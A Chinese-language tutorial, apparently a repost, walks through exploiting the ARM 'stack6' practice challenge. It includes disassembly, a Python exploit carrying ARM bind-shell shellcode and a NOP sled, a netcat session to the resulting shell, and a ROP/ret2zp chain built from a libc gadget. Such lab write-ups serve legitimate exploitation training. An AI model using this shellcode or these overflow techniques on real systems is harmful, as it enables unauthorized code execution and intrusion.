内容简介:这是最后一个实例stack6的分析实战过程,中间跳过了两个例子,他们的解决思路在前面每个例子的尾部EXP的构造、实现中已经得到了体现,就不再写一些重复的内容,今天主要带来的是几个新技巧:1.
引言
这是最后一个实例stack6的分析实战过程,中间跳过了两个例子,他们的解决思路在前面每个例子的尾部EXP的构造、实现中已经得到了体现,就不再写一些重复的内容,今天主要带来的是几个新技巧: ret2zp(ret2libc+ROP) ,通过这两中技术来绕过栈保护机制
文件预分析
1. file stack6
,恩,二进制可执行文件,ARM架构,符号表未移除
stack6: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=272f2356191b2176339c44f8376ec3407280a879, not stripped
2. objdump -d ./stack6
,下面是反汇编结果。这里main函数主要只有一个调用getpath函数的操作。下面主要介绍getpath函数的代码逻辑。
1)在 104e4: e1a0400e mov r4, lr
地址的地方将当前这个getpath栈帧的返回地址给了r4。然后 1050c: e1a03004 mov r3, r4
又把返回地址赋值给了r3
2)分析下面的片段代码可以知道, and r3, r3, #-1090519040
将所有0xbf开头的地址都修改成了0xbf000000,然后跟0xbf000000对比,如果相等就分支跳转到地址为0x10538地方继续执行,否则就退出。
3)栈地址的开头都是 0xbf
,可以使用命令 info proc map
查看当前运行进程的内存映射
10518: e20334bf and r3, r3, #-1090519040 ; 0xbf000000 1051c: e35304bf cmp r3, #-1090519040 ; 0xbf000000 10520: 1a000004 bne 10538 <getpath+0x60>
info proc map
查看结果,内存映射可读属性,顺便可以查看地址
gef> i proc map process 3303 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x10000 0x11000 0x1000 0x0 /home/pi/Desktop/ARM-challenges/stack6 0x20000 0x21000 0x1000 0x0 /home/pi/Desktop/ARM-challenges/stack6 0xb6e74000 0xb6f9f000 0x12b000 0x0 /lib/arm-linux-gnueabihf/libc-2.19.so 0xb6f9f000 0xb6faf000 0x10000 0x12b000 /lib/arm-linux-gnueabihf/libc-2.19.so 0xb6faf000 0xb6fb1000 0x2000 0x12b000 /lib/arm-linux-gnueabihf/libc-2.19.so 0xb6fb1000 0xb6fb2000 0x1000 0x12d000 /lib/arm-linux-gnueabihf/libc-2.19.so 0xb6fb2000 0xb6fb5000 0x3000 0x0 0xb6fcc000 0xb6fec000 0x20000 0x0 /lib/arm-linux-gnueabihf/ld-2.19.so 0xb6ff8000 0xb6ffb000 0x3000 0x0 0xb6ffb000 0xb6ffc000 0x1000 0x1f000 /lib/arm-linux-gnueabihf/ld-2.19.so 0xb6ffc000 0xb6ffd000 0x1000 0x20000 /lib/arm-linux-gnueabihf/ld-2.19.so 0xb6ffd000 0xb6fff000 0x2000 0x0 0xb6fff000 0xb7000000 0x1000 0x0 [sigpage] 0xbefdf000 0xbf000000 0x21000 0x0 [stack] 0xffff0000 0xffff1000 0x1000 0x0 [vectors]
4)根据上面的三个点我们可以知道,它对栈地址进行一定的保护机制,让gets不能直接执行将栈地址溢出覆盖到返回地址,所以引出了几种解决技术:第一个就是它只是限制 bf
开头的栈地址,我们不跳到这个地址就行了,我们尝试再次执行一次 1054c: e8bd8810 pop {r4, fp, pc}
,将我们shellcode的首地址让pc成功接收就行
000104d8 <getpath>: 104d8: e92d4810 push {r4, fp, lr} 104dc: e28db008 add fp, sp, #8 104e0: e24dd04c sub sp, sp, #76 ; 0x4c 104e4: e1a0400e mov r4, lr 104e8: e59f0060 ldr r0, [pc, #96] ; 10550 <getpath+0x78> 104ec: ebffff9a bl 1035c <printf@plt> 104f0: e59f305c ldr r3, [pc, #92] ; 10554 <getpath+0x7c> 104f4: e5933000 ldr r3, [r3] 104f8: e1a00003 mov r0, r3 104fc: ebffff9c bl 10374 <fflush@plt> 10500: e24b3050 sub r3, fp, #80 ; 0x50 10504: e1a00003 mov r0, r3 10508: ebffff96 bl 10368 <gets@plt> 1050c: e1a03004 mov r3, r4 10510: e50b3010 str r3, [fp, #-16] 10514: e51b3010 ldr r3, [fp, #-16] 10518: e20334bf and r3, r3, #-1090519040 ; 0xbf000000 1051c: e35304bf cmp r3, #-1090519040 ; 0xbf000000 10520: 1a000004 bne 10538 <getpath+0x60> 10524: e59f002c ldr r0, [pc, #44] ; 10558 <getpath+0x80> 10528: e51b1010 ldr r1, [fp, #-16] 1052c: ebffff8a bl 1035c <printf@plt> 10530: e3a00001 mov r0, #1 10534: ebffff91 bl 10380 <_exit@plt> 10538: e24b3050 sub r3, fp, #80 ; 0x50 1053c: e59f0018 ldr r0, [pc, #24] ; 1055c <getpath+0x84> 10540: e1a01003 mov r1, r3 10544: ebffff84 bl 1035c <printf@plt> 10548: e24bd008 sub sp, fp, #8 1054c: e8bd8810 pop {r4, fp, pc} 10550: 000105f8 .word 0x000105f8 10554: 0002075c .word 0x0002075c 10558: 0001060c .word 0x0001060c 1055c: 00010618 .word 0x00010618 00010560 <main>: 10560: e92d4800 push {fp, lr} 10564: e28db004 add fp, sp, #4 10568: e24dd008 sub sp, sp, #8 1056c: e50b0008 str r0, [fp, #-8] 10570: e50b100c str r1, [fp, #-12] 10574: ebffffd7 bl 104d8 <getpath> 10578: e1a00003 mov r0, r3 1057c: e24bd004 sub sp, fp, #4 10580: e8bd8800 pop {fp, pc}
利用一个exp,功能是:先填充到返回地址前,再利用返回地址后的任意一个栈地址(nop指令区间就行),将返回地址覆盖,在用点nop来防止环境变量的改变影响栈偏移,最后加上shellcode。
import struct padding = "11111111111111111111111111111111111111111111111111111111111111111111111111111111" return_addr = struct.pack("I", 0xbefff0d0) payload1 = "x01x30x8fxe2x13xffx2fxe1x01x21x48x1cx92x1axc8x27x51x37x01xdfx04x1cx14xa1x4ax70x8ax80xc0x46x8ax71xcax71x10x22x01x37x01xdfx60x1cx01x38x02x21x02x37x01xdfx60x1cx01x38x49x40x52x40x01x37x01xdfx04x1cx60x1cx01x38x49x1ax3fx27x01xdfxc0x46x60x1cx01x38x01x21x01xdfx60x1cx01x38x02x21x01xdfx04xa0x49x40x52x40xc2x71x0bx27x01xdfx02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58" print padding + return_addr + "x90"*100 + payload1
执行结果
受控端
pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack6 <exp input path please: got path 1111111111111111111111111111111111111111111111111111111111111111x
控制端
pi@raspberrypi:~/Desktop/ARM-challenges $ nc -vv 127.0.0.1 4444 Connection to 127.0.0.1 4444 port [tcp/*] succeeded! ls README.md ROPgadget core e4 exp poc.py stack0 stack1 stack2 stack3 stack4 stack5 stack6 exit
ret2zp(return to Zero Prevention)
我们尝试使用:/bin/sh,需要用到system函数
(并不一定可以实现,因为我们需要得到system @plt 的地址)
当我使用想使用ret2libc的时候发现,它不是使用栈空间来传递参数的,而是使用寄存器来传递参数的,也就是x86架构的ret2libc不适用arm架构,怎么办呢?我在 exploitation-on-arm 这里找到了答案,在 另外一片文章 找到一些实例。下面我们用到了一个 工具 帮助我们快速查找特定指令
ROPgadgets工具安装过程(如果执行中出错,按照github上给的方法,注释特定出错的地方)
sudo apt-get install python-capstone git clone https://github.com/JonathanSalwan/ROPgadget.git sudo python setup.py install
安装完成后,我们就来查看stack6程序内部是否有可以利用的代码片段,可以看到如果要用到下面的语句片段我们必须还有一个语句将r0赋值给r3或r4,因为要r0才是我们要存储参数的地方。这里根据 ret2ZP技术的一些实际的例子 里的指出的一个函数 seed48
可以间接的实现参数传递,下面介绍具体步骤:
pi@raspberrypi:~/Desktop/ARM-challenges $ ROPgadget --binary ./stack6 --only "pop" Gadgets information ============================================================ 0x00010344 : pop {r3, pc} 0x00010498 : pop {r4, pc} Unique gadgets found: 2
seed48片段
0xb6ea5df8 <+20>: add r0, r4, #6 0xb6ea5dfc <+24>: pop {r4, pc}
在getpath函数的pop处,我们将seed48函数内的 0xb6ea5dfc
覆盖到返回地址处,他会执行到 pop {r4, pc}
,然后我们 /bin/sh
地址减6的值放在下一个栈地址,准备pop到r4内,然后再将 0xb6ea5df8
放入压入栈中pop进pc来实现r0的赋值
第一步:覆盖返回地址(python脚本) import struct padding = "11111111111111111111111111111111111111111111111111111111111111111111111111111111" return_addr = struct.pack("I", 0xb6ea5dfc) print padding + return_addr 第二步:找到/bin/sh的地址 gef> find 0xb6e74000,+9999999,"/bin/sh" 0xb6f91b20 第三步:0xb6f91b20-6=0xb6f91b1a放入栈中准备赋值给r4,再把0xb6ea5df8 赋给pc,进行r0的赋值 import struct padding = "11111111111111111111111111111111111111111111111111111111111111111111111111111111" return_addr = struct.pack("I", 0xb6ea5dfc) print padding + return_addr + "x1ax1bxf9xb6" + "xf8x5dxeaxb6" 第四步:寻找system地址 使用命令objdump -d stack6查看是否存在system@plt,发现本程序并没有system函数的入口点
根据上面的流程,一切都准备好了,结果没有找到system函数入口,所以RET2ZP(ROP+RET2LIBC)使用失败,主要熟悉了这种技术的使用流程,退而求其次我们使用可执行文件内有的函数exit,来直接退出。
objdump -d stack6
找到plt表内的地址,然后直接覆盖到准备pop到pc寄存器的栈地址
00010380 <_exit@plt>: 10380: e28fc600 add ip, pc, #0, 12 10384: e28cca10 add ip, ip, #16, 20 ; 0x10000 10388: e5bcf3b8 ldr pc, [ip, #952]! ; 0x3b8
poc.py
import struct padding = "11111111111111111111111111111111111111111111111111111111111111111111111111111111" print padding + "x80x03x01x00"
执行结果,直接退出:
pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack6 <exp input path please: got path 1111111111111111111111111111111111111111111111111111111111111111x♣ pi@raspberrypi:~/Desktop/ARM-challenges $
小结
当我分析到绕过bf开头的堆栈检测这个保护机制的时候,我在一个程序的执行流程这个花了些时间,得到一个小点: 程序向下执行都是依靠PC寄存器,即使返回到上一个栈帧也是将返回地址赋值给PC寄存器
, 掌控PC你就掌控了一切
使用ret2libc+ROP技术的时候,我们需要找到的是plt表内存在的函数入口地址,才继续接下来的执行
参考
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- ARM汇编之堆栈溢出实战分析(GDB)
- ARM汇编之堆栈溢出实战分析二(GDB)
- ARM汇编之堆栈溢出实战分析三(GDB)
- SpringBoot实战分析-MongoDB操作
- SpringBoot实战分析-Tomcat方式部署
- 二进制各种漏洞原理实战分析总结
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。